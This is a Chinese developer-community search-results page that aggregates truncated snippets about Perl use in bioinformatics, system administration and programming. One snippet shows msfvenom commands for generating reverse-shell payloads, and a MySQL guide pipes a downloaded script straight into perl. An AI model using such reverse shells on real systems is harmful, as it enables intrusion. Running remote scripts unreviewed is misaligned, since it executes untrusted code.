这个perl脚本片段在做什么？_这个循环在做什么？_这个Ruby函数在做什么？ - 腾讯云开发者社区

无论做什么都是做提升做出正确决策的概率。 ——韩瞳 01 策略产品经理的时代背景为什么时代、企业需要策略产品经理？...现实中，老板一般会说：你看一下这个为什么数据跌了，这可能是个问题，但如果老板说今年数据不好，也不说哪个数据、在哪段时间不好，这就不是一个（好）问题，所以确认问题非常重要。...比如说，看到草动了，就想到前两天这个村里边狼来了之后草也会动，于是人们马上离开。...一句话结论主要写明：通过什么方式进行了什么项目取得了从多少到多少的实验数据结果（比如你的领导肩负A指标，就把A指标写上去，告诉他做这件事对完成A指标有作用）注明“相关结论已经通过同行评议，并统计置信...把这些事做好之后，你的价值就有了，老板会慢慢发现了，这个团队离了你转不了，这时候你的价值就有了，再裁员也裁不到你身上。

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我被跨系统的换行符折磨疯了~~~

Winddows 的程序传到 Linux不能运行比如下面这个脚本metaphlan_to_stamp.pl，可能在 windows 下做了修改，保存时自动加了\r，而\r在 Unlix/Linux 上显示为...^M，运行时弹出如下错误提示： metaphlan_to_stamp.pl: /usr/bin/perl^M 解释器错误：没有那个文件和目录找不到名字为perl^M的解释器，实际应该是用perl做解释器...，因为这个是perl脚本。...其它语言脚本也会有类似问题，如bash^M, python^M等。怎么修改呢? 找到这个程序，把\r去掉即可。用下面的命令。...ctrl+m，稍微麻烦一些 sed -i 's/^M//' metaphlan_to_stamp.pl 有时不如果知道程序在什么地方，可以用which返回脚本的路径，直接替换 sed -i 's/\r/

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是的

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【直播】我的基因组57：最简陋的祖源分析

这个脚本比较考验shell能力，而且运行非常慢，因为千人基因组计划的数据太多了！...PS;我毕竟是一个人在做分析，比不上公司一个团队，而且我是业余时间玩一下自己的基因而已，比不上人家五天八小时的辛勤搜索总结和学习。...尤其是本次的祖源分析系列和后面的GWAS解读系列，我相信公司在这一块会做的更好，毕竟，这个可是他们的饭碗！...人类的Y染色体除了在端粒上的拟常染色体区的少部分片段（只占有染色体长度约5%）能与相应的X染色体发生重组，其外都不能发生重组。这些片区是由原本X染色体与Y染色体同源的片段遗留下来的。...这个区域中的单核苷酸多态性被用于父系祖先的追溯。

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生物结构变异分析软件meerkat 0.189使用笔记（一）

Primer32.2.0及以上（自行安装） 1.2 需要准备的文件 1.参考基因组fasta文件（单独放在文件夹），运行perl脚本，用BioPerl的Bio:DB::Fasta进行处理 #!...，0关掉这个函数 -n INT 每个read group被用于计算插入片段大小分布的reads数，0 使用全部reads，默认1000 -l INT 提取配对的softclip...如果插入片段小但是read的长度长，那么就会很大的增加敏感性。对于短长度的read，应设置为0。...如果测序质量够好，并且基因组没有什么重复的话，对于识别小事件非常有用，人类基因组建议关闭函数。...t INT bwa align用到的线程数 -R STR 包含黑名单reads的文件，一个group id 一行，如果对于一个group的单一比对reads少于30%，推荐不出这个

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开始 Vagrant 之旅

如果你和我一样，你可能在某一个地方有一个“沙盒”，你可以在那里进行你正在做的任何项目。随着时间的推移，沙盒会变得杂乱无章，充斥着各种想法、工具链元素、你不使用的代码模块，以及其他你不需要的东西。...配置脚本是可移植的，因此，如果你的仓库和 Vagrant 配置脚本位于基于云存储上，那么你只需要很少的限制就可以启动并在多台机器机器上工作。让我们来看一看。...让我们关闭这个系统，这样我们就可以在这个系统里提供一些我们需要的东西： vagrant halt 在虚拟机上安装额外的软件对于这个例子，我将使用 Apache、 PostgreSQL 和 Perl 的...我将修改Vagrant 配置脚本，以便我需要的东西已经安装。...配置工具存在于许多工具链中，因此，无论你需要复制什么环境，它都是快速而简单的。

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如何在Ubuntu上安装MySQLMariaDB

我们在Ubuntu 16.04服务器上测试了这个。在我们开始安装MySQL/MariaDB之前一些要求和其他说明：当涉及LAMP堆栈中的基本用法时，MySQL和MariaDB几乎完全相同。...使用以下命令下载并运行脚本： curl -L http://mysqltuner.pl/ | perl 并检查建议。做一些研究和使用谷歌每个建议。...如果你不知道自己在做什么，请联系其他人，让他们为你做，或者跳过这个。你也可以使用mysqlcheck来修复你的数据库。...该脚本仅向您提供如何改进和优化MariaDB的建议。运行脚本： curl -L http://mysqltuner.pl/ | perl 并检查建议。做一些研究和使用谷歌每个建议。...如果你不知道自己在做什么，请联系其他人，让他们为你做，或者跳过这个。

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CC++程序猿必须熟练应用的开源项目

，你就能够在不论什么平台上进行网络编程了，不须要学什么windows下的网络编程，由于windows下的网络也是从伯克利套接字搞过来的，假设你学习《windows网络编程》，那么你那天在linux...在做数据库开发的时候特别实用。...八、脚本脚本是一个非常有意思的东西，非常多功能，事实上我们仅仅要写个脚本就能够完毕，代码量少，开发速度快。...必须掌握的脚本，比較通用的要算 perl 了，非常古老的语言，可是功能太强大了。我能够保证的说，.net，java能干的工作，肯定能够让perl来干。 C能干的， perl不一定能干。...perl作为linux， unix的系统集成的脚本语言，必须学会。 lua 语言，这个语言，在游戏行业用得比較多。不推荐学。

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DAY53：阅读Profiler Counter Function

, 选择不同的版本来执行.有的人看到这里可能会问, 这个完全不需要使用这些函数啊?...我决定让代码自动切换到使用计算换取访存吧(例如用户可以提前准备好2个code path, 根据运行时刻的标志选择)，或者发现, 哈, 我完全没有计算数值4的问题, 这个代码片段应当执行路径XYZ，类似这种的...所以请尽量不要warp内分支的调用此函数, 除非你知道你在做什么.(2)点则是, 该函数因为很高效, 实际上会编译成单条低代价指令(刚才说了, 如同一次单精度的加法的代价而已)，而该单条低代价指令, 支持的是...(或者例如你可以单独在首次特定环境运行的时候, 通过perl脚本之类的东西, 直接正则分析nvprof的结果之类的)，而如何指定nvprof来获取相关Event的值, 已经在本章节说过了....注意其中的给出常数方式的调用(__prof_trigger(3)例如), 一定要注意.这是造成使用该函数的问题的主要来源.总之如非必要, 不要使用__prof_trigger(编译时刻无法确定的变量)的形式.除非你知道你在做什么

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SSRIT:简单重复序列识别工具

重复的最小单位称之为motif, 示例如下 agagagagagag 上述片段就是一段SSR序列，motif为ag, 重复出现了6次。...也可以下载脚本本地运行，安装过程如下 wget ftp://ftp.gramene.org/pub/gramene/archives/software/scripts/ssr.pl 该软件采用perl语言开发...，直接下载对应的perl脚本就可以了，这个perl脚本写的是比较简陋的，并没有提供帮助文档之类的信息。...需要注意的是，同样的输入文件，在线服务识别到了4个SSR区域，而本地版只识别到了2个，这个是因为参数设定不同。...with >= 6 repeats [4,5]); #tetranucl. with >= 5 repeats 默认情况下，对于2bp的motif, 要求最小重复次数为9次，ct这个

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Oracle 12c数据库升级实战(r10笔记第70天)

昨天晚上睡觉前升级了一套备库环境，比我想象的时间要长一些，下午就要升级测试环境，早上还在做最后的方案，感觉真是惊心动魄。...升级的过程让我有了两种感触，刚开始的做升级准备和正式升级的步骤时候，感觉升级12c真是一把利器，升级脚本有了不小的改变，都是使用perl调用来完成，比如这样的形式： $ORACLE_HOME/perl/...bin/perl catctl.pl catupgrd.sql 可以开并行，默认是4个，最高是8个。...整个过程分了70多个小步骤，可以看到每个步骤的情况，这个算是对于之前日志刷屏的一大改观。不过并行的效率似乎没有想象的那么好，开几个并行不会节省几倍的时间。

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vscode配置一个PHP的开发环境（已验证）

Git Lens：显示当前行，是谁最近更改的 Git History：查看 Git 历史版本，提交细节等 Code Runner：直接运行C, C++, Java, JS, PHP, Python, Perl..., Ruby, Go, Lua, Groovy, PowerShell, CMD, BASH, F#, C#, VBScript, TypeScript等脚本。...Laravel Blade：Laravel Blade 片段和语法高亮支持。..."extra": {}, "param": {}, "return": {}, } } 使用：在类或方法上面输入/**换行即可备注关于新建Class文件，这个要什么类型的文件...，直接用php artisan命令即可，还可以趁机熟悉laravel的命令好了，这个主要是记录一些常用的拓展，方便要搭建php的开发环境的时候，直接安装就可以了。

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宏基因组流程: 从Raw fastq到taxonomic and functional profile

这是因为在实际测序过程中，由于DNA片段长度的限制，一个DNA片段可能会被分成两个方向进行测序。通过将这两个方向的reads进行合并，可以获得完整的DNA片段序列，提高后续分析的准确性。...实现的想法：先分别撰写每一步的基础脚本，如过滤，mapping等过程的脚本，只针对单样本；与此同时，设计好输入文件的格式；接着脚本内部每个样本生成每个步骤的脚本，如sample1.trim.sh sample1....map.sh然后将每步的脚本放置一起形成该步骤的综合脚本，如 step1.trim.sh最后将含有每样本的各步骤的脚本综合在一起，为Run.all.sh文件结构：脚本和结果文件...../MetaGenomics_pipeline/├── bin # 脚本│ ├── humann.pl│ ├── kneaddata.pl│ ├── merge.pl...├── Run.s3.merge.sh│ ├── Run.s4.humann.sh│ ├── Run.s5.metaphlan.sh│ └── script # 每个样本的每一步脚本

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OpenResty 的过去、现在和未来（上）

如果是有什么错漏，是我整理的问题。 ---- 大家好，我叫章亦春，我喜欢用 agentzh 这个名字，我很讨厌别人把我这个首字母 a 大写，我觉得特别丑，所以大家千万不要大写，这是雷区。...如果我在其他的 IT 交流会议上面重点介绍我做了什么，或者正在做什么，那么在 OpenResty 这个我们自己的会上面，我就可以放心大胆的说我们将要做什么。 ?...那个年代，API 的概念还是方兴未艾，顺应这个潮流，做了第一版的 OpenResty ，是由我当时最喜欢的脚本语言 Perl 写的。...我自己也用过这种技巧，在量子的时候，有一个实时统计的引擎，有很复杂的线路协议，当时我在做业务迁移的时候，因为很严格的上线的时间点，所以没有时间去完成一个非阻塞性能很高的实时引擎客户端，所以我简单的用 Perl...我写了一个 Perl 脚本去自动分析这个文档，把里面的数据，里面的结构，全部抽出来，变成一个数据结构，自动生成 Perl 实现，自动生成c的实现。事实上，我还让它自动生成了测试集，测试也可以自动生成。

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WPF 框架开发 WPF 的构建在哪使用到 Perl 工具

在构建 WPF 开源仓库的时候，需要先搭建 Perl 环境，此时大家是否想了解在 WPF 构建的哪里用到 Perl 工具在完全开源的 WPF 仓库里面，其实可以看到很多 Perl 的影子，大部分都是用来做构建的脚本...，小部分是在做我也看不懂的逻辑做构建脚本的包括了生成一些代码，如 GenerateAvTraceMessages 这个构建步骤，代码定义如下 <Target Name=...Exists($(PerlCommand.Replace('"','')))" Text="<em>Perl</em> is not found: PerlCommand=$(PerlCommand)" />...Exists($(PerlCommand.Replace('"','')))" Text="Perl is not found: PerlCommand=$(PerlCommand)" />...大概就是古代没有一个好用的代码模版生成器，才使用了Perl工具，但是官方也没有计划去更改这部分的逻辑当前的 WPF 在 https://github.com/dotnet/wpf 完全开源，使用友好的

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生信自动化流程搭建 02 | 脚本

在上面的代码片段中，$db变量被替换为管道脚本中已经定义的实际值。需要在脚本中访问系统环境变量时，有两个选择。首选就像使用单引号字符串定义脚本块一样容易。...您可以使用自己喜欢的脚本语言（例如Perl，Python，Ruby，R等），甚至可以将它们混合在同一管道中。管道可以由执行不同的任务的进程组成。...使用Nextflow，您可以选择更适合指定进程执行的任务的脚本语言。例如，对于某些进程，R可能比Perl有用，在其他进程中，您可能需要使用Python，因为它提供了对库或API等的更好访问。.../usr/bin/env perl。这是使用envshell命令，后跟解释器的名称，而不是其绝对路径。...out_file """ else error "Invalid alignment mode: ${mode}" } 在上面的示例中，该过程将根据mode参数的值执行脚本片段

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2021最受欢迎的编程语言排行：苹果编程语言Objective-C被Swift取代

什么是Tiobe指数呢？ Tiobe指数的格式为+" programming" “ ”可更改为指定的编程语言，例如：+“PHP programming”。 ?...什么语言才能被计入Tiobe？一般来说，只有符合条件的编程语言才会被计入Tiobe的影响因子中。...我们在做战略决策前可以选择到底那种编程语言更适合。举个例子，我们来看下 Tiobe 官方对这个编程语言排行榜的解读： ?...至于Perl语言，这个是在2005年风靡全世界的脚本语言。但是2008年Dobb博士表明「基于我们当时在TiobeE指数中看到的趋势，Perl将会灭绝。」...没想到的是作为支持Perl语言的顽固派却声称不会让灭绝发生，「Perl语言正在被TIOBE指数玩弄。」 ? 重要提示，SQL在2018年2月已经被加入到Tiobe指数当中。 ?

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生成msf常用payload

shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho 如何利用针对这个部分就以...在做web渗透的时候，经常会用到webshell，我们经常用的一句话用菜刀连接，如何使用MSFVenom生成一个可以用msf操作的webshell呢？...脚本shell 关于使用脚本反弹shell的方式，主要以python、bash、perl为例。...-p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh Perl...总结本文的主要内容是关于使用msfvenom生成常用的反向连接的shell，msfvenom可以生成的shell很多，不可能一一列举，这里只是提一下，不好意思又给大家分享了一个水文，请大家凑活看看，有什么建议和意见请下方留言

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OpenResty 的过去、现在和未来（中）

这也是我非常看重脚本语言的一个方面，静态语言有很多优点，但是我希望在做业务的时候，我的手是足够灵活的，可以做任何我想做的事情，而不会受到很多不必要的束缚。这一点，在座的脚本程序员都会深有体会。...作为一个 Perl 程序员，我非常热爱 Perl 里面 tt2 这个模板语言。...它其实跟 Perl 没有太多关系， Perl 社区的一个大神，他写了一个 jemplate 这个工具，可以把 tt2 生成为独立的、可以在客户端运行的JavaScript，这就意味着同一份模板，即可以跑在服务端...这得益于这个模板语言既不是 Perl ，也不是 Lua ，也不是JavaScript，而是它自己的一种小语言，足够简单但有足够强大。...我曾经用一个脚本语言实现了一个比较完整的x86反汇编器，就是通过这个模板。所以这块也是我想去尝试的官方模板引擎库。

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2021 年，这8种编程语言最流行

无论你的兴趣或需求是什么，如果你想了解 2021 年最流行的编程语言，你可以从本文这个列表中找到它们。 1最流行的初学者编程语言：Python ?...说，“Perl 试图为太多的人提供太多的东西。糟糕的代码片段飘来飘去，而且在很多项目中，未经深思熟虑就被拉进来。一个又一个的脚本小子拼凑出他们可憎的东西，并让它们在世界范围内散播。...，但雇主认为它是一种出色的技能，这使得它在这个最流行的编程语言榜单上占有一席之地。...它是交互式的，你可以在网站本身运行自己的代码片段。它被划分为不同的模块，这样就可以很容易地跟踪你所在的位置，并在必要时进行回溯。...为什么不从 2021 年开始，使用一种 2021 年最流行的编程语言，优先考虑你未来的技能呢？这个列表将帮助你选择一个或多个来开始学习之旅。作者介绍 Zulie Rane，理学硕士，自由撰稿人。

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HLAminer:根据NGS数据确定HLA分型结果

HLAminer有两种策略可供选择：基于目的片段组装的HPTASR和基于序列比对的HPRA。在bin目录下，封装了一系列的bash脚本，可以简化软件的调用。 1....基于目的片段组装 HPTASR 基于组装的算法精确度高，但是运行速度是它的劣势，对应的bash脚本前缀为HPTASR, 包括以下4个脚本 HPTASRwgs_classI.sh HPTASRwgs_classI-II.sh.../database/HLA_ABC_CDS.fasta -i 1 -b TASRhla -w 1 ###Restrict 200nt+ contigs cat TASRhla.contigs |perl...基于序列比对 HPRA 基于序列比对的算法，运行速度块，但是精确度较差，对应的bash脚本前缀为HPRA, 包括以下脚本 HPRArnaseq_classI.sh HPRArnaseq_classI_SE.sh.../database_bwamem/HLA_ABC_CDS.fasta rd1.fq rd2.fq > TEST_vs_HLA.sam 分型： perl ..

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